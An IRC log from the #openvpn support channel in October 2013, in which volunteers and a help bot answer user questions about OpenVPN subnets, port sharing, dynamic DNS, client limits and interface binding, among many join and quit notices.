07:32 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
07:32 <@ecrist> !configs
07:32 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:32 <@ecrist> mist_: don't past in-channel again, please
07:32 < mist_> sry ecrist
07:36 < mist_> was that for me ecrist?
07:36 <@ecrist> yes
07:36 < mist_> ah sorry, let me paste some =)
07:38 < mist_> i'm unsure where the config is found on pfsense hmmm
07:39 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
07:40 < mist_> http://pastebin.com/nSJhNj39 ecrist
07:41 < mist_> there are no cusom clien things
07:42 <@ecrist> !logs
07:42 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:47 < mist_> solved it
07:47 < mist_> ty
07:52 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
08:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:34 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
08:35 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:37 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
08:37 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
08:37 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:57 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:02 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
09:11 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
09:17 -!- onats [~onats@unaffiliated/onats] has joined #openvpn
09:19 -!- onats [~onats@unaffiliated/onats] has quit [Client Quit]
10:06 -!- mattock is now known as mattock_afk
10:12 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:28 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:31 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
10:41 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
10:41 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
10:42 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
10:49 -!- raidz_away is now known as raidz
11:12 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
11:15 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:17 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
11:24 -!- AginLap [~AginLap@109.201.152.230] has joined #openvpn
11:27 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:29 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:41 -!- jachymko [~jachymko@jachymko.net] has joined #openvpn
11:42 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
11:43 < jachymko> hi! i'd like to ask whether tcp port sharing is supported with plain HTTP, as opposed to HTTPS? it appears to work
11:43 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
11:43 < jachymko> but I've only seen people using it with 443
11:44 <@plaisthos> openvpn will forward everything to the shared port which does not look like an Openvpn handshake in the first packet from the client
11:44 <@plaisthos> i.e. it works with all protocols where the client is the first to send data
11:45 < jachymko> that's great, thank you!
11:45 <@plaisthos> so I would not work with smtp for example because the server sends the first data
11:45 <@plaisthos> s/I/it
11:47 < jachymko> so I guess implementing the https://community.openvpn.net/openvpn/ticket/221 for unencrypted HTTP wouldn't exactly be trivial, given that OpenVPN know nothing about the shared protocol
11:48 <@vpnHelper> Title: #221 (Write X-Forwarded-For field with share-port option) – OpenVPN Community (at community.openvpn.net)
11:48 < jachymko> s/know/knows
11:53 -!- kossy [a@kossy.org] has quit [Ping timeout: 268 seconds]
12:07 -!- matsh_ [divine@nanogene.org] has joined #openvpn
12:09 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 260 seconds]
12:09 -!- matsh_ is now known as matsh
12:11 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
12:15 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
12:17 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
12:21 -!- mattock_afk is now known as mattock
12:30 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
12:31 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:31 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
12:32 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
12:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:36 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:37 -!- raidz is now known as raidz_away
12:38 -!- raidz_away is now known as raidz
13:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
13:09 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
13:10 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
13:17 -!- wizbit [~wizbit@unaffiliated/wizbit] has joined #openvpn
13:17 < wizbit> my openvpn server is behind a dynamic ip
13:18 < wizbit> what configuration do i need to put in the client openvpn config?
13:18 < wizbit> remote X.X.X.X 1194 udp  <--- this part needs to change so it matches the dynamic ip?
13:19 < wizbit> maybe i should use a domain name instead?
13:19 < cjross> I just got a dynamic hostname and used that domain name.
13:19 < wizbit> ok excellent so this should work:
13:19 < cjross> Then I didn't have to keep changing things when the ip changed.
13:19 < wizbit> remote blah.dyndns.org 1194 udp
13:19 < cjross> That looks right.  It's been years since I set it up.
13:20 -!- Devastator_ [~devas@177.18.196.176] has joined #openvpn
13:20 < wizbit> ace
13:20 < rob0> see also the --resolve-retry setting
13:22 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
13:35 -!- Devastator_ [~devas@177.18.196.176] has quit [Changing host]
13:35 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
13:35 -!- Devastator_ is now known as Devastator
13:50 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
13:55 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:57 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has left #openvpn []
14:11 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 256 seconds]
14:14 -!- master_o1_master [~master_of@p4FD7BE04.dip0.t-ipconnect.de] has joined #openvpn
14:15 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Quit: Leaving]
14:17 -!- master_of_master [~master_of@p4FF24C83.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
14:18 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
14:19 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
14:23 -!- occupant [~null@204.14.158.226] has joined #openvpn
14:24 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
14:28 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Ping timeout: 248 seconds]
14:28 -!- ||arifaX_ [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
14:33 -!- elfixit [~Icedove@166-228.197-178.cust.bluewin.ch] has joined #openvpn
14:36 -!- elfixit [~Icedove@166-228.197-178.cust.bluewin.ch] has quit [Client Quit]
14:43 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
14:43 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
14:43 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:45 -!- ||arifaX_ [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
14:51 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
14:52 -!- altermann [~chatzilla@184.69.128.118] has joined #openvpn
14:55 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:55 -!- mode/#openvpn [+v s7r] by ChanServ
14:59 -!- sobersabre [~Sober@bzq-79-177-31-248.red.bezeqint.net] has quit [Quit: Konversation terminated!]
15:09 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
15:11 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
15:12 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
15:20 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Read error: Connection reset by peer]
15:21 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
15:21 -!- altermann_ [~chatzilla@184.69.128.118] has joined #openvpn
15:22 -!- altermann_ [~chatzilla@184.69.128.118] has quit [Client Quit]
15:23 -!- altermann [~chatzilla@184.69.128.118] has quit [Ping timeout: 245 seconds]
15:25 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 245 seconds]
15:26 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
15:27 -!- Denial [Denial@90.216.209.93] has quit []
15:34 -!- altermann [~chatzilla@184.69.128.118] has joined #openvpn
15:42 < altermann> hi there, i'm trying to setup openvpn on an ipfire machine and it's asking me for the openvpn subnet. should that be my actual subnet that i use for all my clients like: `192. or should it be a virtual one that starts with with 10. or 172. as opposed to my actual subnet?
15:45 < EugeneKay> The subnet that you have set up in your --server line in the openvpn config
15:45 < EugeneKay> Or do you mean, you're setting up an ipfire box as an openvpn server
15:45 < EugeneKay> ?
15:50 -!- raidz is now known as raidz_away
15:51 -!- raidz_away is now known as raidz
15:51 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:57 -!- mattock is now known as mattock_afk
15:58 < altermann> i'm setting up an ipfire box as the openvpn server
15:58 < altermann> but it also acts as the dhcp/dns server for my network
15:59 < EugeneKay> Ah, K.
15:59 < EugeneKay> Yes, you need to pick a subnet out of the RFC1918 range
15:59 < EugeneKay> !rfc1918
15:59 <@vpnHelper> "rfc1918" is "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
15:59 < altermann> can it be the same as my internal subnet for all my machines?
15:59 < EugeneKay> No, you should make it a diff one
15:59 < altermann> gotcha
15:59 < altermann> so the subnet mask needs to be different too
16:00 < EugeneKay> 192.168.0.x for physical LAN, 192.168.10.x or so for your VPN
16:00 < EugeneKay> It can be the same mask, so long as the prefix is dif
16:01 < altermann> awesome
16:01 < EugeneKay> And no, do not use bridged. Ever.
16:01 < altermann> but the clients need different subnet masks and subnets of their own
16:02 < altermann> for example if  want to do site to site, i have to have different subnet for the physical network and a totally different subnet for the openvpn client on that machine
16:02 < altermann> right?
16:03 < EugeneKay> "yes"
16:03 < EugeneKay> Not really sure of the question, but I think you have it right
16:04 < altermann> so i'll have: server side physical subnet 192.168.1.0/24; openvpn subnet: 10.2.0.8/16. client side physical subnet: 10.1.1.0/24, openvpn client subnet: 10.3.0.8/16
16:05 < altermann> that's an example i thought of
16:05 < altermann> not my actual subnets
16:05 <@ecrist> !iroute
16:05 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
16:05 <@ecrist> !route
16:05 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
16:05 <@vpnHelper> behind the server or client
16:09 < altermann> that's my intention
16:09 < altermann> thank you both for your help
16:29 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:33 -!- AginLap [~AginLap@109.201.152.230] has quit [Quit: Leaving]
16:34 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
16:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:36 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:47 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
16:47 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
17:02 -!- wizbit [~wizbit@unaffiliated/wizbit] has quit [Quit: Lost terminal]
17:11 < xeqution> Anyone come across this error before: write UDPv4: No buffer space available (code=55)
17:11 <@ecrist> usually a firewall issue
17:11 < xeqution> I am running "route 1.1.1.1 255.255.255.0" in our server.conf
17:12 <@ecrist> up, why would you do that?
17:12 < xeqution> Not that IP specifically ecrist.
17:12 < xeqution> It's an external IP.
17:12 < xeqution> That is just an example I was supplying, anyhow it works across WIndows 7 and Windows 8, one of my employees on Mac tried to connect yesterday and it kept returning write UDPv4: No buffer space available (code=55).
17:13 <@ecrist> well, we'd need to see logs and configs from both sides
17:21 < honestly> if I want to restrict my vpn to stop allowing clients to connect once 50 clients have connected, I'll have to do that with a script hook, right?
17:23 -!- altermann [~chatzilla@184.69.128.118] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
17:23 < honestly> (VPN provides access to a license server with a limited number of floating licenses, need to prioritise local users over vpn users during daytime, restricting vpn client number seems like a passable way to do that)
17:27 < rob0> !cidr
17:27 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
17:28 < rob0> x.x.x.1/24 (255.255.255.0) is not valid CIDR.
17:28 <+pekster> honestly: That, or see --max-clients
17:30 < honestly> pekster: oh, heh
17:31 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:35 < xeqution> server.conf: http://pastebin.com/DPTw44xV
17:36 < xeqution> client.conf: http://pastebin.com/x8zA09Cm
17:39 < honestly> if I want to script this, I need to use --auth-user-pass-verify, and given that I use X509 auth, I'd also want --auth-user-pass-optional?
17:39 < honestly> oh, there is --client-connect
17:44 < honestly> hmm, "number of connected clients" isn't in the environment variables passed to the script. is there a way to query that somehow from openvpn?
17:49 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
17:49 < honestly> the internet tells me "grep ^CLIENT_LIST /etc/openvpn/status.log | wc -l" might work
17:49 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:49 -!- mode/#openvpn [+v s7r] by ChanServ
17:49 < xeqution> rob0
17:49 < xeqution> That suggestion helped me out a lot :)
17:50 < rob0> cool
17:50 < xeqution> Thank you, I believe it has also fixed out issue!
17:51 < honestly> whelp, it seems the status log format has changed
17:52 < honestly> but that should be no problem
17:54 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:06 -!- atmosx [~osx@217.70.broadband4.iol.cz] has joined #openvpn
18:31 -!- atmosx [~osx@217.70.broadband4.iol.cz] has quit [Quit: Lost in trance]
19:07 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
19:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:37 -!- jachymko [~jachymko@jachymko.net] has quit [Quit: ZNC - http://znc.in]
19:42 -!- jachymko [~jachymko@jachymko.net] has joined #openvpn
20:06 -!- raidz is now known as raidz_away
20:29 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
21:21 -!- James209 [~SPESSMEHR@pool-98-110-252-119.bstnma.fios.verizon.net] has joined #openvpn
21:46 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
21:47 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
21:58 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:09 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 245 seconds]
22:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
22:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:14 -!- James209 [~SPESSMEHR@pool-98-110-252-119.bstnma.fios.verizon.net] has quit [Remote host closed the connection]
22:14 -!- James209 [~SPESSMEHR@pool-98-110-252-119.bstnma.fios.verizon.net] has joined #openvpn
22:16 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
22:17 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
22:17 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xdvkzwaojaljnusb] has quit [Ping timeout: 272 seconds]
22:18 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-yzpviqosteziqidq] has joined #openvpn
22:36 -!- xrosnight [~quassel@58.251.101.137] has joined #openvpn
22:36 -!- xrosnight [~quassel@58.251.101.137] has quit [Changing host]
22:36 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
22:46 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:47 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
23:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
--- Day changed Thu Oct 24 2013
00:05 -!- kirin` [telex@gateway/shell/anapnea.net/x-jlgykoqsusllxdsq] has quit [Ping timeout: 240 seconds]
00:06 -!- kirin` [telex@gateway/shell/anapnea.net/x-ugygbmulwfleueno] has joined #openvpn
00:15 -!- James209 [~SPESSMEHR@pool-98-110-252-119.bstnma.fios.verizon.net] has quit [Quit: Leaving]
00:24 -!- toobluesc [~nitro@2001:558:6045:d2:2402:aff8:b481:3073] has joined #openvpn
01:06 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:22 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:24 -!- u0m3_ [~u0m3@92.80.81.116] has joined #openvpn
01:27 -!- u0m3 [~u0m3@92.80.87.153] has quit [Ping timeout: 248 seconds]
01:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:49 -!- vinothkumar_ [~vinothkum@122.167.98.188] has joined #openvpn
01:51 < vinothkumar_> I have multiple interface in my machine and i want to force openvpn client to connect on particular interface. How can I force that in ovpn configuration file? I tried with installing iptables, but I need a way to force the client in configuration file. Any idea?
01:52 -!- vinothkumar_ [~vinothkum@122.167.98.188] has quit [Client Quit]
01:53 -!- vvinothkumar [~vinothkum@122.167.98.188] has joined #openvpn
01:53 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:53 -!- mattock_afk is now known as mattock
01:59 -!- Denial [Denial@90.216.209.93] has joined #openvpn
02:36 <+pekster> vvinothkumar: See --local . Programs bind to addresses though, not interfaces
02:50 -!- mattock is now known as mattock_afk
03:03 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:05 -!- mattock_afk is now known as mattock
03:08 < vvinothkumar> pekster, Thanks. Yes I tried it. It uses the address. But i am looking for interface. I am figuring it now.
03:09 <+pekster> bind() binds to interfaces. Anything that lets you use an interfase is either abstracting the calls to figure out what address is on it, or is using sockets in a different way
03:18 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 248 seconds]
03:24 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:32 -!- honestly [~luke@unaffiliated/luketheduke] has quit [Read error: Connection reset by peer]
03:33 -!- jachymko [~jachymko@jachymko.net] has quit [Quit: ZNC - http://znc.in]
03:37 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
03:43 -!- mattock is now known as mattock_afk
04:25 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
04:34 < hyper_ch> hmmm, any recommendation for setting up a public keyserver?
04:36 <@krzee> huh?
04:36 <@krzee> vvinothkumar, you may write a script that calls openvpn how you wish
04:36 <@krzee> --local "$ip"
04:37 < hyper_ch> krzee: any experience with keyservers? the only one I can find is SKS however how does one drop/revoke there is beyond me since on the next sync the key should be back
04:38 <@krzee> no idea what you're talking about
04:38 <@krzee> we talking about openvpn?
04:39 < hyper_ch> gpg keyservers in general :) I thought you might know about it
04:39 <@krzee> ahh nope
04:39 < hyper_ch> :)
04:48 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
04:51 < vvinothkumar> krzee, Yes. You are right. I tried to put awk script inside the configuration file, but as expected it did not work. So I piped it with --local option and its working.
04:53 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
05:04 -!- mattock_afk is now known as mattock
05:31 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: wish me would have eaten something]
05:54 -!- mattock is now known as mattock_afk
06:09 -!- xpl0iter [~obscurant@122.166.93.4] has joined #openvpn
06:15 <@ecrist> hyper_ch: most PGP keychain software just handles keyservers for you
06:16 < hyper_ch> ecrist: running an own keyserver is the aim :)
06:16 <@ecrist> why do you want to?
06:16 < hyper_ch> because I'd like to?
06:18 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
06:18 <@ecrist> generally, people have a reason for it, other than, I want to.  I was just curious.
06:18 -!- vertigo- [bleach@2604:180::f476:be4f] has quit [Ping timeout: 240 seconds]
06:18 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
06:18 -!- verdoc_ [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
06:19 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 240 seconds]
06:19 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Ping timeout: 240 seconds]
06:19 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
06:19 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
06:19 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 240 seconds]
06:19 < hyper_ch> ecrist: for the same reason I run my own mail server, FS server, ..... server
06:20 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
06:20 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
06:20 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
06:20 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
06:21 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
06:22 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
06:22 -!- vertigo is now known as Guest83734
06:22 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
06:22 -!- mode/#openvpn [+o krzee] by ChanServ
06:23 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:33 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:45 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:59 -!- Laverne [~Laverne@devilsown.net] has quit [Ping timeout: 245 seconds]
07:03 -!- mattock_afk is now known as mattock
07:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
07:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:27 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
07:27 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:34 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:34 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:34 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:55 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
08:25 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
08:29 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
09:27 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
09:31 -!- Denial [Denial@90.216.209.93] has quit [Ping timeout: 245 seconds]
09:32 -!- Denial [Denial@90.216.209.93] has joined #openvpn
09:50 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 245 seconds]
09:55 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
10:20 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:21 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:22 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
10:35 -!- xpl0iter [~obscurant@122.166.93.4] has quit [Ping timeout: 268 seconds]
10:36 -!- xpl0iter [~obscurant@122.166.93.4] has joined #openvpn
10:36 -!- xpl0iter [~obscurant@122.166.93.4] has quit [Client Quit]
10:42 -!- altermann [~none@184.69.128.118] has joined #openvpn
11:03 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:24 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
11:40 < altermann> if i install openvpn on a windows machine facing the modem with no router in between, does that qualify as a road warrior?
11:41 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:42 <@krzee> hah no
11:42 < altermann> so it's still a client to client setup?
11:42 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
11:43 <@krzee> neither
11:43 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
11:43 <@krzee> its a local setup
11:43 <@krzee> !local
11:43 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
11:43 < altermann> sorry i have a server running at one end
11:43 < altermann> but i don't know how to test it
11:43 < altermann> so the best way to do it is from my home machine
11:43 <@krzee> find another method of getting online
11:43 <@krzee> no, it probably is not :D
11:44 < altermann> then i can use my tomato router
11:44 <@krzee> server and client in same location wont work for testing some things
11:44 < altermann> they're not at the same location
11:44 < altermann> sorry
11:44 < altermann> forgot to mention that
11:44 <@krzee> then i have no idea wtf you're saying
11:44 < altermann> server has a static ip at a different location
11:44 < cjross> I'm just boggled about people putting windows machines directly on the internet.
11:46 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
11:47 < altermann> yes, that happens
11:49 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
11:50 <@krzee> altermann, a) then whats the question b) why put the windows machine directly connected to the internet?
11:50 <@krzee> oh you didnt understand the term road warrior
11:50 <@krzee> i see
